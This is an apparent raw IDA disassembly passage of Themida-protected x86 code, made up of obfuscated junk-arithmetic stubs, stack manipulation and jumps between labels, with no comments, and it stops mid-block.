loc_592C32: ; CODE XREF: Themida_:00590F5Aj
add edx, 54B2312Ch
jmp loc_59C9FA
; ---------------------------------------------------------------------------
loc_592C3D: ; CODE XREF: Themida_:00591083j
sub esi, 6B4F58C2h
jmp loc_59BDD8
; ---------------------------------------------------------------------------
loc_592C48: ; CODE XREF: Themida_:0059ABD2j
xor edx, ecx
push 1EE0h
mov [esp], ecx
mov ecx, 18297A89h
add ecx, 0AC6308Eh
xor ecx, 0D68498Ch
xor ecx, 73867FA8h
jmp loc_5A09CF
; ---------------------------------------------------------------------------
loc_592C6E: ; CODE XREF: Themida_:0059B98Bj
mov eax, 4B4A2198h
push 5037h
mov [esp], ebx
mov ebx, 12012FFFh
xor ebx, 348D0A39h
sub ebx, 0B6EDE787h
xor eax, ebx
pop ebx
shr eax, 7
push edx
mov edx, 0C832703Bh
sub eax, 64F7731Fh
add eax, edx
jmp loc_5A153E
; ---------------------------------------------------------------------------
loc_592CA4: ; CODE XREF: Themida_:005A43CEj
xchg edi, [esp]
pop esp
push 2F43h
mov [esp], esi
mov esi, esp
push ebp
sub esp, 4
jmp loc_5A50F3
; ---------------------------------------------------------------------------
loc_592CBB: ; CODE XREF: Themida_:0059B6F4j
mov [esp], edi
mov edi, esp
jmp loc_59170F
; ---------------------------------------------------------------------------
loc_592CC5: ; CODE XREF: Themida_:0059A545j
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_59DC06
; ---------------------------------------------------------------------------
loc_592CD1: ; CODE XREF: Themida_:0059FCDBj
push edx
mov edx, 33A61B86h
sub ebx, edx
pop edx
pop edx
push edx
push ebx
push 295C1F02h
pop ebx
and ebx, 16760D35h
sub ebx, 8CA8071Ah
jmp loc_5A45F4
; ---------------------------------------------------------------------------
loc_592CF4: ; CODE XREF: Themida_:005939EEj
mov edi, 4
add ecx, edi
pop edi
jmp loc_59C5AB
; ---------------------------------------------------------------------------
loc_592D01: ; CODE XREF: Themida_:00596D14j
xor edx, [esp]
jmp loc_595734
; ---------------------------------------------------------------------------
loc_592D09: ; CODE XREF: Themida_:00599E40j
push ecx
mov ecx, 115F4321h
jmp loc_59727F
; ---------------------------------------------------------------------------
loc_592D14: ; CODE XREF: Themida_:0059893Aj
mov [esp], dx
mov dh, 21h
jmp loc_5A4B65
; ---------------------------------------------------------------------------
loc_592D1F: ; CODE XREF: Themida_:005A2D8Aj
or ebp, 3C301703h
shl ebp, 2
add ebp, 0F3FA398h
jmp loc_59732D
; ---------------------------------------------------------------------------
loc_592D33: ; CODE XREF: Themida_:005995A1j
push ebx
mov ebx, edx
mov esi, ebx
pop ebx
pop edx
shr esi, 3
sub esi, 0FFFFFFFFh
inc esi
push ebp
mov ebp, 3ABD46C8h
neg ebp
jmp loc_5A0303
; ---------------------------------------------------------------------------
loc_592D51: ; CODE XREF: Themida_:00594B3Fj
sub dl, bh
pop ebx
xor cl, dl
pop edx
xor al, cl
pop ecx
push edx
mov dl, 0Eh
sub bl, 0E9h
add bl, 98h
sub bl, dl
push ecx
mov cl, 26h
neg cl
not cl
jmp loc_5A0C9C
; ---------------------------------------------------------------------------
loc_592D71: ; CODE XREF: Themida_:00593B30j
add esp, 4
add ch, 3Dh
sub ch, 1
shr ch, 4
shl ch, 3
jmp loc_5936A7
; ---------------------------------------------------------------------------
loc_592D88: ; CODE XREF: Themida_:0059D8A4j
xor edx, 3D7B2BBEh
jmp loc_59B131
; ---------------------------------------------------------------------------
loc_592D93: ; CODE XREF: Themida_:00599B3Aj
xor [esp], esi
jmp loc_5A33CF
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6E27h
mov [esp], eax
mov eax, esp
add eax, 4
push ecx
jmp loc_592299
; ---------------------------------------------------------------------------
loc_592DB4: ; CODE XREF: Themida_:00593ABCj
push dword ptr [esp]
pop esi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_59F07C
; ---------------------------------------------------------------------------
loc_592DCD: ; CODE XREF: Themida_:00597D4Fj
push esi
push edi
mov edi, 72FC103Ah
mov esi, 72FC103Bh
xor esi, edi
pop edi
and eax, esi
mov esi, [esp]
push esi
mov esi, esp
push edi
push ebx
mov ebx, 8F02467h
mov edi, 7BDB971Fh
add edi, 25B104ADh
sub edi, ebx
sub edi, 25B104ADh
mov ebx, [esp]
jmp loc_597E95
; ---------------------------------------------------------------------------
loc_592E06: ; CODE XREF: Themida_:0059FBCAj
push 12B976A7h
mov ecx, [esp]
add esp, 4
sub ecx, 0D2158ECh
push ecx
xor dword ptr [esp], 41984A1Ch
pop ebp
xor ebp, 41984A1Ch
mov ecx, [esp]
add esp, 4
jmp loc_5A5742
; ---------------------------------------------------------------------------
loc_592E34: ; CODE XREF: Themida_:0059896Bj
pop eax
loc_592E35: ; CODE XREF: Themida_:0059CA47j
push 5C6Dh
jmp loc_59032C
; ---------------------------------------------------------------------------
loc_592E3F: ; CODE XREF: Themida_:0059D862j
add ebp, 1E2C6476h
shl ebp, 3
sub ebp, 6F8C5333h
shr ebp, 5
sub ebp, 983D5AC3h
push ebp
pop ecx
jmp loc_591C4E
; ---------------------------------------------------------------------------
loc_592E5E: ; CODE XREF: Themida_:005A1BFEj
push edx
mov edx, 91375BEh
push ebp
mov ebp, 5E3F1062h
inc ebp
xor ebp, 3D3B1A1Fh
jmp loc_599739
; ---------------------------------------------------------------------------
loc_592E76: ; CODE XREF: Themida_:00594B37j
push esp
jmp loc_59B8AA
; ---------------------------------------------------------------------------
loc_592E7C: ; CODE XREF: Themida_:005A256Dj
pop esp
jmp loc_59A827
; ---------------------------------------------------------------------------
loc_592E82: ; CODE XREF: Themida_:005A2F48j
pop ebp
xor eax, 3163941Ch
add edx, 4EE190Ah
add edx, 2E2F2E8Dh
add edx, eax
sub edx, 2E2F2E8Dh
sub edx, 4EE190Ah
mov eax, [esp]
jmp loc_59A4FD
; ---------------------------------------------------------------------------
loc_592EAA: ; CODE XREF: Themida_:0059FFAAj
sub al, dl
pop dx
pop ebx
sub al, 67h
sub al, bl
add al, 67h
push dx
jmp loc_5997EE
; ---------------------------------------------------------------------------
loc_592EBC: ; CODE XREF: Themida_:005A01A6j
and ecx, ebp
jmp loc_593D1B
; ---------------------------------------------------------------------------
loc_592EC3: ; CODE XREF: Themida_:005A144Ej
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push ebx
push esp
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 62223E08h
push edx
jmp loc_5937A6
; ---------------------------------------------------------------------------
loc_592EEC: ; CODE XREF: Themida_:0059C9A8j
push edi
push esp
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 2F89h
mov [esp], ebx
mov ebx, 6BB41044h
jmp loc_59082F
; ---------------------------------------------------------------------------
loc_592F13: ; CODE XREF: Themida_:00598C52j
or ecx, 19F0637Ch
not ecx
shr ecx, 6
sub ecx, 1930CEDh
push eax
jmp loc_59BC8B
; ---------------------------------------------------------------------------
loc_592F2A: ; CODE XREF: Themida_:0059A87Cj
xor [esp], edi
xor edi, [esp]
jmp loc_590C9F
; ---------------------------------------------------------------------------
loc_592F35: ; CODE XREF: Themida_:0059795Bj
push eax
sub esp, 4
mov [esp], ebx
mov ebx, 48894070h
mov eax, 0F7DEFE37h
sub eax, 249819DAh
add eax, ebx
jmp loc_598CE6
; ---------------------------------------------------------------------------
loc_592F55: ; CODE XREF: Themida_:0059BEF2j
xchg ecx, [esp]
pop esp
dec ch
push eax
mov ah, ch
not ah
mov ch, ah
pop eax
and ch, 27h
jmp loc_5A235B
; ---------------------------------------------------------------------------
loc_592F6B: ; CODE XREF: Themida_:005957AFj
push ebx
jmp loc_59FB39
; ---------------------------------------------------------------------------
push 4D0Bh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_594908
; ---------------------------------------------------------------------------
loc_592F85: ; CODE XREF: Themida_:0059A3CBj
add edi, 4
sub edi, 4
jmp loc_591DE4
; ---------------------------------------------------------------------------
loc_592F93: ; CODE XREF: Themida_:005915EBj
mov ebp, [esp]
jmp loc_596F1C
; ---------------------------------------------------------------------------
loc_592F9B: ; CODE XREF: Themida_:0059CEFFj
add ecx, edx
pop edx
mov ebp, ecx
pop ecx
shl ebp, 3
sub ebp, 5F841169h
xor ebp, 63EE00B3h
xor ebp, 31510F93h
jmp loc_593C22
; ---------------------------------------------------------------------------
loc_592FBB: ; CODE XREF: Themida_:0059AB5Aj
mov edx, 0EF5DAE7Eh
jmp loc_5A3E22
; ---------------------------------------------------------------------------
loc_592FC5: ; CODE XREF: Themida_:0059F418j
or ebp, 13109ECh
add ebp, 1CB3E147h
xor ebx, ebp
mov ebp, [esp]
add esp, 4
add eax, ebx
pop ebx
add esi, eax
jmp loc_59E7B6
; ---------------------------------------------------------------------------
loc_592FE6: ; CODE XREF: Themida_:00590699j
add ebp, 434103E9h
jmp loc_5A54C2
; ---------------------------------------------------------------------------
loc_592FF1: ; CODE XREF: Themida_:005A382Fj
push eax
push esi
mov esi, 5E931A2Ch
jmp loc_5A1BE7
; ---------------------------------------------------------------------------
loc_592FFD: ; CODE XREF: Themida_:00593FFEj
mov edi, [esp]
add esp, 4
push edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], esi
push edi
jmp loc_5A00DD
; ---------------------------------------------------------------------------
loc_59302D: ; CODE XREF: Themida_:005A12A3j
pop ecx
pop eax
pop ecx
xor edx, [edi+24h]
xor [edi+24h], edx
push eax
jmp loc_595196
; ---------------------------------------------------------------------------
loc_59303C: ; CODE XREF: Themida_:0059A09Fj
pop dword ptr [esp]
jmp loc_5A0287
; ---------------------------------------------------------------------------
loc_593044: ; CODE XREF: Themida_:0059721Fj
add dl, 0D9h
push eax
mov al, 64h
jmp loc_590CF1
; ---------------------------------------------------------------------------
loc_59304F: ; CODE XREF: Themida_:0059730Dj
push 2F04h
jmp loc_591491
; ---------------------------------------------------------------------------
loc_593059: ; CODE XREF: Themida_:0059FE18j
push dword ptr [esp]
pop edx
jmp loc_59219D
; ---------------------------------------------------------------------------
loc_593062: ; CODE XREF: Themida_:00590ADAj
pop dword ptr [esp]
pop esp
mov [esp], edx
push 29C1h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 6578h
mov [esp], edi
mov edi, 63AF4693h
jmp loc_59BEF7
; ---------------------------------------------------------------------------
loc_593088: ; CODE XREF: Themida_:005A0F3Dj
or [edi+1Ch], eax
mov eax, [esp]
add esp, 4
loc_593091: ; CODE XREF: Themida_:005A51CFj
push ebx
push ebx
push 408Bh
mov [esp], eax
push 56DD02A6h
pop eax
add eax, 0D3C57C84h
jmp loc_59763D
; ---------------------------------------------------------------------------
loc_5930AB: ; CODE XREF: Themida_:005986BAj
sub esi, 1276B8C7h
mov edi, esi
pop esi
add eax, 7A391446h
sub eax, edi
sub eax, 7A391446h
pop edi
mov ebx, eax
mov eax, [esp]
add esp, 4
add ebp, 122324CBh
add ebp, ebx
jmp loc_595949
; ---------------------------------------------------------------------------
loc_5930D6: ; CODE XREF: Themida_:0059EAF7j
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5997A4
; ---------------------------------------------------------------------------
loc_5930E5: ; CODE XREF: Themida_:00598812j
mov esi, esp
add esi, 4
jmp loc_5A21AC
; ---------------------------------------------------------------------------
loc_5930F2: ; CODE XREF: Themida_:005921FAj
add ebp, 4
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
jmp loc_59C916
; ---------------------------------------------------------------------------
loc_593109: ; CODE XREF: Themida_:005973FDj
sub ebp, 4
jmp loc_5A37D4
; ---------------------------------------------------------------------------
loc_593111: ; CODE XREF: Themida_:0059C921j
pop esp
jmp loc_591088
; ---------------------------------------------------------------------------
loc_593117: ; CODE XREF: Themida_:0059B069j
mov edi, esp
push ecx
mov ecx, 28B97FF6h
xor ecx, 12F06230h
jmp loc_597F3B
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
push edx
mov edx, esp
add edx, 4
jmp loc_5A5285
; ---------------------------------------------------------------------------
loc_593144: ; CODE XREF: Themida_:00599158j
pop edx
jmp loc_59E48C
; ---------------------------------------------------------------------------
loc_59314A: ; CODE XREF: Themida_:00596801j
sub ecx, 6C0A2505h
shr ecx, 3
add ecx, 6F1E07A2h
jmp loc_5A4862
; ---------------------------------------------------------------------------
loc_59315E: ; CODE XREF: Themida_:005A3316j
add eax, 114112A8h
mov ebx, eax
jmp loc_5A31F3
; ---------------------------------------------------------------------------
loc_59316A: ; CODE XREF: Themida_:0059C428j
sub esp, 4
mov [esp], esi
mov esi, 13F10B00h
jmp loc_5A1785
; ---------------------------------------------------------------------------
loc_59317A: ; CODE XREF: Themida_:00590CECj
mov ecx, [esp]
push 46B8h
mov [esp], eax
push esp
pop eax
sub esp, 4
mov [esp], edx
mov edx, 1BAB2214h
inc edx
neg edx
sub esp, 4
mov [esp], eax
mov eax, 7400A45h
jmp loc_5A409E
; ---------------------------------------------------------------------------
loc_5931AB: ; CODE XREF: Themida_:0059E41Bj
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59A62A
; ---------------------------------------------------------------------------
loc_5931BF: ; CODE XREF: Themida_:005A192Ej
push esp
mov ebp, [esp]
jmp loc_5A360B
; ---------------------------------------------------------------------------
loc_5931C8: ; CODE XREF: Themida_:005929E6j
pop ebx
add ebx, 1DA60B89h
pop eax
add ebx, 37B43932h
add ebx, 4DFF08CFh
add ebx, 7DCA709Bh
jmp loc_595690
; ---------------------------------------------------------------------------
loc_5931E7: ; CODE XREF: Themida_:0059D026j
mov [esp], ecx
mov ch, 0D0h
push 421Fh
jmp loc_597FE2
; ---------------------------------------------------------------------------
loc_5931F6: ; CODE XREF: Themida_:00591E66j
sub edx, 3A94AA4Ah
mov esi, edx
pop edx
push edx
mov edx, 5D8C2EEFh
not edx
sub edx, 36D461CCh
jmp loc_590E4A
; ---------------------------------------------------------------------------
loc_593212: ; CODE XREF: Themida_:0059E992j
mov eax, esi
pop esi
jmp loc_59FD5E
; ---------------------------------------------------------------------------
loc_59321A: ; CODE XREF: Themida_:00591D13j
push edi
jmp loc_5A0624
; ---------------------------------------------------------------------------
loc_593220: ; CODE XREF: Themida_:005920C6j
not ecx
not ecx
dec ecx
xor ecx, 55A954B3h
sub ecx, 0D1CFA1D7h
add edi, ecx
pop ecx
jmp loc_591A41
; ---------------------------------------------------------------------------
loc_593239: ; CODE XREF: Themida_:0059504Aj
push edx
mov dl, ch
mov ah, dl
pop edx
mov bl, ah
pop eax
pop ecx
sub bl, dh
mov edx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push edx
mov edx, 4
jmp loc_592529
; ---------------------------------------------------------------------------
loc_59325B: ; CODE XREF: Themida_:005A574Ej
mov [esp], ecx
not dword ptr [esp]
pop ecx
push ebp
mov ebp, 0B498DEB8h
xor ecx, ebp
mov ebp, [esp]
add esp, 4
xor ebp, ecx
jmp loc_5947CD
; ---------------------------------------------------------------------------
loc_593277: ; CODE XREF: Themida_:0059450Dj
mov [esp], ebp
push eax
push 6330242Fh
jmp loc_5A2487
; ---------------------------------------------------------------------------
loc_593285: ; CODE XREF: Themida_:00596837j
sub [esp+8], esi
add dword ptr [esp+8], 581C7BBBh
add dword ptr [esp+8], 13D359C1h
push eax
push edx
mov edx, 53CD7EE9h
mov eax, 396945A8h
xor eax, edx
pop edx
add [esp+0Ch], eax
jmp loc_5985D4
; ---------------------------------------------------------------------------
loc_5932B1: ; CODE XREF: Themida_:00598846j
sub eax, 2F5A0546h
inc eax
shr eax, 7
shr eax, 7
add eax, 96A5F730h
jmp loc_5A0C75
; ---------------------------------------------------------------------------
loc_5932C7: ; CODE XREF: Themida_:005A4580j
mov ecx, [esp]
add esp, 4
add ebx, eax
sub ebx, 7F813B25h
mov eax, [esp]
jmp loc_59D72D
; ---------------------------------------------------------------------------
loc_5932DD: ; CODE XREF: Themida_:005A5543j
push ebp
mov ebp, 19D6A4Eh
sub edi, 7CB82355h
jmp loc_590819
; ---------------------------------------------------------------------------
loc_5932EE: ; CODE XREF: Themida_:005948B3j
push ebp
mov ebp, esp
jmp loc_59AA60
; ---------------------------------------------------------------------------
loc_5932F6: ; CODE XREF: Themida_:00596A35j
pop ebp
jmp loc_599287
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59F508
; ---------------------------------------------------------------------------
loc_593305: ; CODE XREF: Themida_:0059263Fj
mov esi, 34040543h
dec esi
neg esi
add esi, 60D33E4Ah
push eax
jmp loc_594F3E
; ---------------------------------------------------------------------------
loc_593319: ; CODE XREF: Themida_:005A51E7j
sub [esp+4], ebp
jmp loc_5A51EC
; ---------------------------------------------------------------------------
loc_593322: ; CODE XREF: Themida_:005952B4j
pop esi
push 7404h
mov [esp], esi
push 1
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
push 285Bh
mov [esp], esi
mov esi, esp
push edx
push 662E1CEEh
pop edx
jmp loc_5A08B7
; ---------------------------------------------------------------------------
loc_593353: ; CODE XREF: Themida_:0059850Dj
pop ebp
jmp loc_5A528B
; ---------------------------------------------------------------------------
loc_593359: ; CODE XREF: Themida_:0059DB18j
pop ebx
shl ebx, 4
add ebx, 0C0FC7E64h
mov ecx, ebx
pop ebx
add eax, ecx
pop ecx
sub eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_59250D
; ---------------------------------------------------------------------------
loc_593379: ; CODE XREF: Themida_:005936D8j
push edx
push 17C8h
mov [esp], esi
mov esi, 236667CEh
jmp loc_59EEA0
; ---------------------------------------------------------------------------
loc_59338C: ; CODE XREF: Themida_:005989A3j
add edx, edi
mov edi, [esp]
push edi
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
pop esp
sub edx, 2
push 17D9h
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push small 16Bh
jmp loc_59F932
; ---------------------------------------------------------------------------
loc_5933C4: ; CODE XREF: Themida_:0059661Fj
sub esp, 4
jmp loc_5A42B9
; ---------------------------------------------------------------------------
loc_5933CC: ; CODE XREF: Themida_:005A25A1j
dec dword ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5933D5: ; CODE XREF: Themida_:0059B4FBj
xor eax, edi
xor edi, eax
xor eax, edi
push 304Eh
mov [esp], edx
sub esp, 4
mov [esp], esi
push 3216h
mov [esp], ebp
push edx
mov edx, 21CC07C8h
jmp loc_591802
; ---------------------------------------------------------------------------
loc_5933FC: ; CODE XREF: Themida_:00597E48j
add ecx, 4
xchg ecx, [esp]
pop esp
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593415: ; CODE XREF: Themida_:005A0914j
push 4ADBh
mov [esp], ecx
jmp loc_5944EF
; ---------------------------------------------------------------------------
loc_593422: ; CODE XREF: Themida_:00591CB0j
add edx, eax
jmp loc_5909D4
; ---------------------------------------------------------------------------
loc_593429: ; CODE XREF: Themida_:0059E064j
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_5A4ED8
; ---------------------------------------------------------------------------
loc_593440: ; CODE XREF: Themida_:005A0372j
pop edi
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push esp
pop esi
push ebx
mov ebx, 0A0719EDh
jmp loc_599005
; ---------------------------------------------------------------------------
loc_59346C: ; CODE XREF: Themida_:00596F22j
push 6E64h
jmp loc_5A4EA2
; ---------------------------------------------------------------------------
loc_593476: ; CODE XREF: Themida_:0059DDA8j
mov eax, 20D20BB2h
mov ecx, eax
pop eax
push ebx
mov ebx, 6C762E24h
sub ebx, 6CC773B5h
push ebx
not dword ptr [esp]
pop ebx
dec ebx
push 3CE2h
mov [esp], edx
mov edx, 1EE72082h
neg edx
neg edx
sub edx, 4C630408h
not edx
jmp loc_5967F2
; ---------------------------------------------------------------------------
loc_5934AE: ; CODE XREF: Themida_:0059D826j
add eax, ebp
pop ebp
jmp loc_599489
; ---------------------------------------------------------------------------
loc_5934B6: ; CODE XREF: Themida_:0059D1B3j
add ebp, esi
pop esi
xchg ebp, [esp]
pop esp
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_599CEB
; ---------------------------------------------------------------------------
loc_5934CB: ; CODE XREF: Themida_:0059E407j
mov eax, edx
mov edx, [esp]
add esp, 4
add ebx, eax
pop eax
jmp loc_59CE9A
; ---------------------------------------------------------------------------
loc_5934DE: ; CODE XREF: Themida_:0059D446j
add esp, 4
jmp loc_5A12B3
; ---------------------------------------------------------------------------
loc_5934E6: ; CODE XREF: Themida_:0059820Dj
add esi, 4
push 140Bh
mov [esp], ebp
mov ebp, 2C05565Eh
xor ebp, 519E2F49h
jmp loc_59D8F6
; ---------------------------------------------------------------------------
loc_593504: ; CODE XREF: Themida_:00598870j
push edx
jmp loc_59DC33
; ---------------------------------------------------------------------------
loc_59350A: ; CODE XREF: Themida_:005A0E9Aj
push eax
push esp
jmp loc_59710B
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A3098
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push edx
mov edx, esp
jmp loc_5957E1
; ---------------------------------------------------------------------------
loc_593524: ; CODE XREF: Themida_:00590930j
pop esp
jmp loc_596E9E
; ---------------------------------------------------------------------------
loc_59352A: ; CODE XREF: Themida_:0059F3DAj
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5981D6
; ---------------------------------------------------------------------------
loc_59353A: ; CODE XREF: Themida_:005A09ACj
xchg edi, [esp]
mov esp, [esp]
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593545: ; CODE XREF: Themida_:00590364j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 28F2h
mov [esp], edi
mov edi, 17A45AF5h
add edi, 0E85BA50Fh
add eax, 1E6F59B8h
sub eax, edi
sub eax, 1E6F59B8h
mov edi, [esp]
jmp loc_59C10C
; ---------------------------------------------------------------------------
loc_59357A: ; CODE XREF: Themida_:0059CB8Cj
add edx, edi
mov edi, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_599101
; ---------------------------------------------------------------------------
loc_593598: ; CODE XREF: Themida_:005936A2j
pop ebx
jmp loc_594446
; ---------------------------------------------------------------------------
loc_59359E: ; CODE XREF: Themida_:00592023j
sub eax, edi
jmp loc_59D073
; ---------------------------------------------------------------------------
loc_5935A5: ; CODE XREF: Themida_:0059F965j
push ebx
push 4A2D0EE6h
pop ebx
jmp loc_5A36FB
; ---------------------------------------------------------------------------
loc_5935B1: ; CODE XREF: Themida_:0059FB60j
sub esp, 4
mov [esp], edi
push eax
push 60F57E4Eh
pop eax
sub eax, 9CF0A80h
sub eax, 0E75652DAh
mov edi, eax
pop eax
xor eax, edi
mov edi, [esp]
jmp loc_598158
; ---------------------------------------------------------------------------
loc_5935D8: ; CODE XREF: Themida_:0059D4C8j
push 5FC5h
mov [esp], ecx
mov ecx, 62F734A4h
neg ecx
or ecx, 2FEE435Eh
shl ecx, 1
sub ecx, 36D7334Ch
push ecx
pop esi
pop ecx
jmp loc_5A4934
; ---------------------------------------------------------------------------
loc_5935FD: ; CODE XREF: Themida_:0059B334j
add eax, 3DB9632Bh
add eax, esi
push edx
mov edx, 6D800337h
and edx, 128E5723h
shr edx, 2
jmp loc_5A19A5
; ---------------------------------------------------------------------------
loc_593618: ; CODE XREF: Themida_:005A47ADj
or eax, ebp
pop ebp
push eax
xchg edx, [esp]
jmp loc_595AFB
; ---------------------------------------------------------------------------
loc_593624: ; CODE XREF: Themida_:005963C9j
sub ebp, edx
mov edx, [esp]
jmp loc_595FC0
; ---------------------------------------------------------------------------
loc_59362E: ; CODE XREF: Themida_:005A034Aj
push eax
mov eax, 7B1D5F9Ch
jmp loc_5A29B6
; ---------------------------------------------------------------------------
loc_593639: ; CODE XREF: Themida_:005A3845j
push esi
mov esi, esp
jmp loc_59A5C0
; ---------------------------------------------------------------------------
loc_593641: ; CODE XREF: Themida_:005A39DEj
xor ebp, ecx
pop ecx
push ecx
mov ecx, 7B407B04h
or ebp, ecx
pop ecx
add ebp, 7BC45A88h
add edi, ebp
pop ebp
mov eax, edi
mov edi, [esp]
jmp loc_5A343E
; ---------------------------------------------------------------------------
loc_593660: ; CODE XREF: Themida_:005A0260j
push ebp
mov ebp, 7BF768D7h
xor edx, ebp
mov ebp, [esp]
add esp, 4
or edx, 7840789Ah
sub edx, 7E1571A6h
jmp loc_59B19A
; ---------------------------------------------------------------------------
loc_59367F: ; CODE XREF: Themida_:0059FE41j
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_593684: ; CODE XREF: Themida_:0059AD60j
pop ebx
jmp loc_59628E
; ---------------------------------------------------------------------------
loc_59368A: ; CODE XREF: Themida_:0059174Bj
shl ebx, 2
sub ebx, 0C625793Bh
add edx, ebx
jmp loc_5965B9
; ---------------------------------------------------------------------------
loc_59369A: ; CODE XREF: Themida_:005A3006j
mov bl, 0A1h
sub al, 44h
add al, bl
add al, 44h
jmp loc_593598
; ---------------------------------------------------------------------------
loc_5936A7: ; CODE XREF: Themida_:00592D83j
neg ch
push edx
mov dl, 0E9h
jmp loc_5A0925
; ---------------------------------------------------------------------------
loc_5936B1: ; CODE XREF: Themida_:005A24E7j
add esp, 4
jmp loc_595886
; ---------------------------------------------------------------------------
loc_5936BC: ; CODE XREF: Themida_:00597D34j
add esp, 4
add esp, 4
push 487Ch
mov [esp], ebx
push esp
push dword ptr [esp]
pop ebx
jmp loc_598B2C
; ---------------------------------------------------------------------------
loc_5936D7: ; CODE XREF: Themida_:00590A54j
pop ebp
jmp loc_593379
; ---------------------------------------------------------------------------
loc_5936DD: ; CODE XREF: Themida_:0059C721j
not byte ptr [esp]
pop dx
push ebx
jmp loc_598598
; ---------------------------------------------------------------------------
loc_5936E8: ; CODE XREF: Themida_:00598796j
mov [esp], ecx
jmp loc_598E4A
; ---------------------------------------------------------------------------
loc_5936F0: ; CODE XREF: Themida_:00590F6Bj
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_593925
; ---------------------------------------------------------------------------
loc_593705: ; CODE XREF: Themida_:00595DB6j
push esi
jmp loc_596C08
; ---------------------------------------------------------------------------
loc_59370B: ; CODE XREF: Themida_:0059497Cj
sub ebx, 2A5C4483h
jmp loc_593E28
; ---------------------------------------------------------------------------
loc_593716: ; CODE XREF: Themida_:005A3116j
sub eax, 5A89416Eh
add eax, esi
jmp loc_594595
; ---------------------------------------------------------------------------
loc_593722: ; CODE XREF: Themida_:0059624Dj
push dword ptr [esp]
jmp loc_59C1A8
; ---------------------------------------------------------------------------
loc_59372A: ; CODE XREF: Themida_:005A300Dj
push edx
mov dh, 0A6h
shr dh, 4
push ebx
jmp loc_59988B
; ---------------------------------------------------------------------------
loc_593736: ; CODE XREF: Themida_:0059668Aj
sub esp, 4
mov [esp], ecx
jmp loc_59C8EE
; ---------------------------------------------------------------------------
loc_593741: ; CODE XREF: Themida_:005A00D8j
pop edi
jmp loc_5917C7
; ---------------------------------------------------------------------------
loc_593747: ; CODE XREF: Themida_:005A41ECj
mov ecx, 1BE301D0h
neg ecx
not ecx
jmp loc_5A2983
; ---------------------------------------------------------------------------
loc_593755: ; CODE XREF: Themida_:005989E5j
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
add [esp+4], edx
pop edx
pop edx
push ebx
mov ebx, 0A6D3730h
dec ebx
shr ebx, 2
shl ebx, 1
shr ebx, 4
xor ebx, 685F032Ah
xor ebx, 2B9854BEh
or ebx, 5F9D6107h
xor ebx, 5F9D7F2Bh
add edx, ebx
pop ebx
add edx, 4
push edx
jmp loc_5A2E50
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_596471
; ---------------------------------------------------------------------------
loc_5937A6: ; CODE XREF: Themida_:00592EE7j
mov edx, 5E436063h
jmp loc_59CBE7
; ---------------------------------------------------------------------------
loc_5937B0: ; CODE XREF: Themida_:005A24B8j
add esp, 4
push ecx
jmp loc_591AD6
; ---------------------------------------------------------------------------
loc_5937BC: ; CODE XREF: Themida_:005A5253j
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_59F1FA
; ---------------------------------------------------------------------------
loc_5937C8: ; CODE XREF: Themida_:00597F46j
push ecx
jmp loc_59E9B6
; ---------------------------------------------------------------------------
loc_5937CE: ; CODE XREF: Themida_:0059A4F8j
add ebx, 51AA1A9Ch
add ebx, eax
sub ebx, 51AA1A9Ch
jmp loc_5A5100
; ---------------------------------------------------------------------------
loc_5937E1: ; CODE XREF: Themida_:0059A186j
xor edi, [esp]
jmp loc_590A66
; ---------------------------------------------------------------------------
loc_5937E9: ; CODE XREF: Themida_:005988D3j
pop eax
add edi, 744C0E65h
push eax
mov eax, 43136F1Ah
add edi, 1A4573Dh
add edi, eax
sub edi, 1A4573Dh
push dword ptr [esp]
jmp loc_5A49C3
; ---------------------------------------------------------------------------
loc_59380C: ; CODE XREF: Themida_:00592865j
not dword ptr [esp]
jmp loc_590C71
; ---------------------------------------------------------------------------
loc_593814: ; CODE XREF: Themida_:0059762Bj
sub al, 5Dh
sub al, 70h
add al, cl
add al, 70h
jmp loc_5A3B09
; ---------------------------------------------------------------------------
loc_593821: ; CODE XREF: Themida_:005977BAj
add esi, ecx
pop ecx
